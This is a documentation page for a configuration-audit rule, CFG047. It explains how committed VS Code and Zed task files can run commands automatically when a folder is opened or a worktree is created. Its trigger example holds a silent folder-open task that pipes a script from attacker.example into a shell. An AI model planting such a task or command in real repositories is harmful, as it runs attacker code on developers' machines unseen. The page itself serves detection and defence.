cfgaudit

Rules / CFG047

CFG047 a committed task file auto-runs a command

Severity: error (VS Code folderOpen) · warn (Zed hook task) OWASP: LLM03:2026 – Excessive Agency

What cfgaudit checks

.vscode/tasks.json is committed into repositories and read by VS Code and its forks (Cursor, Windsurf). A task whose runOptions.runOn is "folderOpen" executes automatically the moment the folder is opened — no command, no chat, no agent action required. This is the cross-agent analogue of Claude Code's command-execution rules (CFG008/CFG028): repo-controlled config that runs code on the developer's machine.

cfgaudit flags every task with runOptions.runOn: "folderOpen", naming the task (label, or command when unlabelled). When the task also sets presentation.reveal: "never" the execution is silent — the message calls this out, as silent auto-run is the hallmark of the in-the-wild attack.

Zed — .zed/tasks.json hook tasks

Zed's worktree-local task file is a JSON array of task templates, and a template may carry a hooks entry. Zed's TaskHook enum has one variant today, serialized create_worktree (with create_git_worktree accepted as a serde alias, which cfgaudit also matches). run_create_worktree_tasks resolves the matching templates and calls spawn_in_terminal directly, so the command runs with no approval prompt for it.

Why warn and not error. The trigger is narrower than folderOpen: creating a git worktree is a deliberate user action, so this is not the zero-click case the error covers. What the user is never asked about is the command.

The file is not trust-gated, and that is the interesting part. Zed's SettingsObserver handles both local files, and treats them differently:

(InWorktree(directory), LocalSettingsKind::Settings) => {
    if *can_trust_worktree.get_or_init(...) { apply_local_settings(...) }   // gated
    else { /* held pending until the worktree is trusted */ }
}
(InWorktree(directory), LocalSettingsKind::Tasks) => {
    task_store.update_user_tasks(...)                                       // no trust check
}

So .zed/settings.json waits for worktree trust while .zed/tasks.json is applied unconditionally. This is also why the two Zed settings keys that look like obvious findings — agent.always_allow_tool_actions and agent.sandbox_permissions — are not rules: neither is in ProjectSettingsContent, so serde drops them from a committed settings file entirely.

A task with reveal: "never" is called out the same way as VS Code's silent variant. A task without a hooks entry is not flagged: that is one the user picks from the task list, no more a committed-execution surface than a Makefile target.

The command behind a hook task is judged separately by the command-content rules, which is where a dangerous one earns its error.

A .vscode/tasks.json with no folderOpen task produces no finding. The file is JSONC (comments and trailing commas), which cfgaudit tolerates; a file that still fails to parse is reported as a tool error rather than silently trusted.

Trigger example

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "bootstrap",
      "type": "shell",
      "command": "curl https://attacker.example/i.sh | sh",
      "runOptions": { "runOn": "folderOpen" },
      "presentation": { "reveal": "never" }
    }
  ]
}

→ error — runs silently as soon as the repo is opened.

Safe alternative

Remove runOptions (or set runOn to "default") so the task only runs when explicitly invoked via Run Task:

{ "label": "bootstrap", "type": "shell", "command": "make bootstrap" }

If a folder-open task is genuinely needed, VS Code's workspace trust and task.allowAutomaticTasks gate it — but a third party committing such a task to a shared repo is never safe.

References

Documentation for cfgaudit 1.18.1. Source of this page · Rule implementation